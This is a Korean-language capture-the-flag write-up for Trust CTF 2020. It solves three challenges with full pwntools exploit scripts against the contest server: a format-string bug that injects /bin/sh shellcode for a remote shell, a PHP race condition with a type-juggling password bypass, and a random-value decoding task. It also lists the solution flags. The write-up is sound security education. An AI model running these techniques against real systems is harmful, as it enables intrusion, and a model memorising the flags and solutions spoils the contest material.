후기
https://trustctf.com/
2020년 2월 22일 오전 10시 부터 오후 10시까지 진행된 Trust CTF이다.
Trust는 디지털 미디어 고등학교 보안동아리인 것 같고, 거기서 주최한 CTF이다.
특이하게도 static scoring으로 문제 별 스코어가 고정되어 있다.
결과는 마이크체크 문제 제외하고 2문제를 풀었고, 마지막 grade program 문제는 CTF 종료된 이후 풀었다.
푼 문제들에 대한 간단한 풀이들 한번 올려본다.
127% Machine
MISC문제이다.
C코드를 제공한다.
서버 코드
서버 코드를 보려면 아래 접은 글을 열면 된다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <math.h>
#define banner_w 56
#define banner_h 10
#define information_w 54
#define information_h 16
char banner[banner_h][banner_w] = {
{"+=====================================================+"},
{"| _ ______ ________ |"},
{"| / / / ___ \\ / ___ / _ / |"},
{"| / / /_/ / / /_/ / / (_) / |"},
{"| / / _____/ / / / / |"},
{"| / / / _____/ / / / _ |"},
{"| / / / /_____ / / / (_) |"},
{"| /_/ /_______/ /_/ / |"},
{"| |"},
{"+=====================================================+"}
};
char information[information_h][information_w] = {
{"*****************************************************"},
{"* - information of this machine - *"},
{"* *"},
{"* *"},
{"* 1. Its maximum is 100% *"},
{"* *"},
{"* 2. The role of this machine is encoding *"},
{"* *"},
{"* 3. You should decode its secret code *"},
{"* *"},
{"* 4. DO NOT USE ABNORMAL APPROACH *"},
{"* *"},
{"* last. \"GOOD THINGS COME TO THOSE WHO WAIT\" *"},
{"* *"},
{"* GOOD LUCK! /(>//<)\\ *"},
{"*****************************************************"}
};
char flag[] = "TRUST{SAMPLE_FLAG}";
unsigned long int pow_x(unsigned long int a, int b);
void print_banner() {
char load[] = "loading......!";
for (int i = 0; i < banner_h; i++) {
for (int j = 0; j < banner_w; j++)
printf("%c", banner[i][j]);
usleep(30000);
printf("\n");
}
printf ("\n");
usleep(500000);
for (int i = 0; i < strlen(load); i++) {
printf("%c", load[i]);
usleep(40000);
}
usleep(100000);
printf("\n");
printf("It's ready to operate!\n\n");
usleep(200000);
for (int i = 0; i < information_h; i++) {
for (int j = 0; j < information_w; j++) {
printf("%c", information[i][j]);
}
usleep(50000);
printf("\n");
}
printf("\n\n");
}
void machine_start() {
usleep(200000);
printf("Let's start!\n");
usleep(50000);
}
void loop() {
unsigned long int sub = 0;
char auth[127] = {0};
char response[128] = {0};
int key;
int comp;
srand(time(NULL));
for (int stage = 1; stage <= 127; stage++) {
if (stage == 100) {
puts("!!machine operate 100%!!");
puts("┐ ի ޟ d\x3d\x4e\xfe ");
puts("abnormal approach");
puts("Please give me pass code");
key = rand() % 1000000;
scanf("%d", &comp);
if (comp == key) {
puts("Enter Administrator Mode");
}
}
printf("\n%d%% operate\n", stage);
for (int i = 0; i < stage; i++)
auth[i] = rand() % 94 + 33;
for (int i = 0; i < stage; i++) {
sub = pow_x(127, (rand()%3 + 3)) + (int)auth[i];
printf("%ld\n", sub);
}
read(0, response, 128);
if (strlen(response) != stage) {
printf("\nErrorcode 1 : mechanical overload");
exit(0);
}
else if (0 != strncmp(auth, response, stage)) {
printf("\nWrong answer");
exit(0);
}
else continue;
}
}
unsigned long int pow_x(unsigned long int a, int b) {
int x= a;
a = 1;
for (int i = 0; i < b; i++)
a *= x;
return a;
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char str[128] = {0};
print_banner();
machine_start();
loop();
printf("PPIBIP! machine operate 127%%!\n");
printf("%s", flag);
return 0;
}
대충 보면, random으로 생성한 값들을 맞추면 되는데, 그냥 랜덤한 값뿐만이아닌 127^3, 127^4, 127^5 를 더해서 알려준다.
근데 랜덤으로 생성한 값이 33 ~ 126 범위의 수에 해당하므로 값의 크기로 어느 값을 더했는지 유추할 수 있다.
이를 이용해서 값을 뺀 것들을 리턴해주면 정답 플래그를 얻을 수 있다.
Exploit
#!/usr/bin/env python
from pwn import *
p = remote('198.13.32.181', 4337)
def do_oper(stage):
global p
var = []
p.recvuntil("operate\n")
for i in range(stage):
value = int(p.recvuntil("\n"))
for i in range(5, 2, -1):
if value > 127**i:
value = value - 127**i
break
var.append(value)
#print var
res = "".join(map(chr, var))
#print res
p.send(res)
for i in range(1, 100):
print i
do_oper(i)
p.recvuntil("pass code\n")
p.sendline("1")
for i in range(100, 128):
print i
do_oper(i)
p.interactive()
Flag
TRUST{H4H4_sO00000_3a5y!_D1D_you_thought_hardly??}
ezrc
웹문제이다.
들어가면 간단한 회원가입과 로그인 기능이 있는데, 로그인을 하면 php 소스코드를 보여준다.
서버소스
서버 소스를 보려면 접은 글을 펴면 된다.
<?php session_start(); include 'config.php'; ?>
<?php
if(!isset($_SESSION['id'])){
header('Location: ./login.html');
exit;
}
?>
<a href="source.php"><button>source code</button><br/></a>
<?php
$id = $_SESSION['id'];
$res = mysqli_query($con, "select pw from ezrc where id='$id'");
$idx = mysqli_fetch_array($res);
$pw = $idx['pw'];
$print_query = "select chk from ezrc where id='$id'";
$hehe_query = "update ezrc set chk='$hehe' where id='$id'";
$reset_query = "update ezrc set chk='nope' where id='$id'";
echo "<a href=logout.php>logout</a><br/>";
echo "your id is ".$id."<br/>";
if(preg_match("/(tata|dada|zaza)+[a-z]{3}+coco?hehe/", $_GET['key']) && strlen($_GET['key'])>30){
$res = mysqli_query($con, $print_query);
$idx = mysqli_fetch_array($res);
echo "your chk is ".$idx['chk']."<br/>";
if($idx['chk'] == $hehe){
echo $flag."<br/>";
mysqli_query($con, $reset_query);
exit("congratulations");
}
}
mysqli_query($con, $hehe_query);
$str = "trust_is_very_cooool";
$t = (int)$_GET['times'];
if($pw == md5(240610708)){
echo "pw right";
for($i=0; $i<$t; $i=$i+1){
for($j=0; $j<$t; $j=$j+1){
$str = md5($str);
}
}
if($str == "d91a2796ab967c9793ef1c628a91fac5"){
echo $flag;
}
else{
mysqli_query($con, $reset_query);
}
}
else{
mysqli_query($con, $reset_query);
}
?>
대충 보면 햇갈릴 수도 있는데 일단 flag를 얻을 수 있는 방법은 2가지가 있다.
db에 chk값이 $hehe와 동일 하거나, "trust_is_very_coool"를 여러번 md5해서 나온 값이 d91뭐시기 하는 값과 일치하면 된다.
근데 trust_is_very_cool을 매우 많이 md5를 구해보았는데, 같은 값은 나오진 않았다.
약간 특이한 부분이 exit("congratulation"); 이후에 sql query를 실행하는데, 이때 유저 db의 chk값이 $hehe와 같아진다.
그리고 아래에서 md5를 여러번 하는 행위 이후에는 다시 chk값이 'nope'로 바뀌게 된다.
이 찰나의 순간을 노리는 Race condition 공격을 할 수 있다면?
게다가 md5를 여러번 취할때는 몇 번을 취할 것인지는 user input인 $_GET['times']에 의해 결정되므로, int_max값을 넣어서 그 제곱에 해당하는 md5를 연산하게 하여 시간차를 만들 수 있다.
if($pw == md5(240610708)){
이 코드를 pass해야 하는 부분은 우항을 md5를 시켜보면 0e123123와 대략 같은 꼴의 문자열이 나오는데, 이는 php의 loose comparision에 의한 type juggling 취약점으로 연결된다. 패스워드를 0000으로 지정하면 if문이 true로 되므로 쉽게 bypass가능하다.
그래서 한 녀석으로는 대충
http://198.13.32.181:4345/index.php?key=tatatatatatadadadadadadadadatatadadazazaabccocohehe
와 같은 요청을 보내서 regex를 맞추게 하고, 나머지녀석으로는
http://198.13.32.181:4345/index.php?times=2147483600
와 같은 요청을 보내서 chk를 $hehe와 같게 만든 뒤 시간을 끌게 하면된다.
근데 같은 쿠키 값으로 하면 race condition으로 되지 않으므로 다른 php sess id를 갖는 브라우저 2개를 띄워서 시간차로 하면 flag 값을 구할 수 있다.
Flag
TRUST{Hell0_th1s_my_f1r5t_cha1lenge!!!!}
grade program
포나블 문제이다.
바이너리를 IDA로 디컴파일 해보면 32bit ELF인 것을 알 수 있고 몇가지의 기능이 있다.
그리고 checksec을 해보면 RWX segment가 존재하고, NX 및 PIE가 꺼져있다.
그래서 ASLR만 있다고 보면 된다.
1번 명령어를 쓰면, 랜덤한 간단한 사칙연산 문제를 풀게 된다. 그 문제를 푸는 수 만큼 점수가 기록이 되고, 이 점수는 exam() 함수에서 리턴이 된다.
이 결과 값은 main문에 지역변수에 있는 char buffer[] 에 하나씩 기입이 된다.
trials변수는 99이하까지 되므로, 총 99byte를 buffer에다가 쓸 수 있는 셈이 된다.
그리고 3을 누르면 버퍼를 다 비울 수 있고, 2를 누르면 그 format이라고 되있는 버퍼를 printf하는데 여기서 Format string bug가 발생된다는 것을 알 수 있다.
익스플로잇 테크닉은 다양하게 가져갈 수 있는데, RWX segment가 존재하고, NX 및 PIE가 꺼져있으므로 간단하게 shell code를 올려서 실행하는 식으로 가져가보았다. 그리고 stack canary는 존재했다.
shell code로 pc를 변경하는 방식은 어떻게 할 까 햇는데, how함수, exam함수 등을 호출할 때 함수의 주소값을 스택에 저장한 뒤 그 값을 호출하는 방식으로 how 함수를 호출한다는 점을 이용해서 스택에 있는 how함수의 주소값을 shellcode 시작 주소로 fsb를 통해 write하는 식으로 pc를 변경하도록 했다.
이후 0번 매뉴를 키면 shellcode로 점프할 수 있다.
근데 format 버퍼의 값을 쓸 때, 만약 첫번째 값, buffer[0]에 ascii 76에 해당하는 값을 쓰려면 사칙연산 문제를 76개를 풀어야 한다. 그래서 로컬에서는 금방 되지만, 서버에 payload를 구성할때는 생각보다 시간이 많이 걸리게 된다.
그래서 shellcode를 처음에는 bss에 write하려다가, 너무 오래걸려서 format 버퍼 자체에 shellcode를 올려서 실행시키는 방법을 이용했다.
Exploit 코드
#!/usr/bin/env python
from pwn import *
# p = process('./grade')
p = remote('198.13.32.181', 9316)
bss_addr = 0x804b040
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
def clear_res():
global p
p.recvuntil(">>>")
p.sendline("3")
p.recvuntil("cleared")
def solve_prob(correct= True):
global p
prob = p.recvuntil("=")[:-1]
res = 0
if "+" in prob:
operand = map(int, prob.split("+"))
res = reduce(lambda x,y: x+y, operand)
elif "-" in prob:
operand = map(int, prob.split("-"))
res = reduce(lambda x,y: x-y, operand)
elif "*" in prob:
operand = map(int, prob.split("*"))
res = reduce(lambda x,y: x*y, operand)
elif "%" in prob:
operand = map(int, prob.split("%"))
res = reduce(lambda x,y: x%y, operand)
else:
print ("ERROR!!!")
if correct == False:
p.sendline(str(res+100))
else:
p.sendline(str(res))
def write_char(chcode):
global p
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("probs")
for i in range(0, chcode):
# log.info("solving prob ...[{}/{}]".format(i, chcode))
solve_prob()
solve_prob(False)
def insert_mystring(payload):
clear_res()
for i, c in enumerate(payload):
log.info("insert payload [{}/{}]".format(i, len(payload)))
write_char(ord(c))
def print_format_string():
global p
p.recvuntil(">>>")
p.sendline("2")
# leak
insert_mystring("%6$p")
print_format_string()
p.recvuntil("scores")
fs_addr = int(p.recvuntil("=")[:-1], 16)
how_func_addr = fs_addr - 16 # how function address
print "fs_addr = {}".format(hex(fs_addr))
print "how_func_addr = {}".format(hex(how_func_addr))
def write_byte(addr, value):
if value == 4:
insert_mystring(p32(addr) + "%7$hhn")
elif value > 4:
insert_mystring(p32(addr) + "%" + str(value - 4) +"c%7$hhn")
print_format_string()
# raw_input("pause~")
for i in range(0, 4):
log.info("overwriting pc pointer [{}/4]...".format(i+1))
byte = p32(fs_addr)[i]
write_byte(how_func_addr+i, ord(byte))
# raw_input("pause 2")
log.info("Injecting shell code...")
insert_mystring(shellcode)
# raw_input("pause 3")
log.info("Jump to the shell code")
p.recvuntil(">>>")
p.sendline("0")
p.interactive()
# b* 0x8048c0b
Flag
TRUST{F0rM4t_str1n9_h4v3n!!}
'해킹 & 보안 > CTF Write-ups' 카테고리의 다른 글
[Defcon ctf qual 2019] shitorrent write-up (0) | 2020.03.29 |
---|---|
[2020-angstromCTF] web - A peculiar query write-up (0) | 2020.03.19 |
[NeverLAN CTF 2020] Web - SQL Breaker 1 / SQL Breaker 2 / DasPrime (0) | 2020.02.15 |
[Insomni'hack teaser 2020] web - Low Deep write-up (0) | 2020.01.20 |
[X-mas CTF 2019] Emulator - Emu 2.0 Write-up (0) | 2019.12.26 |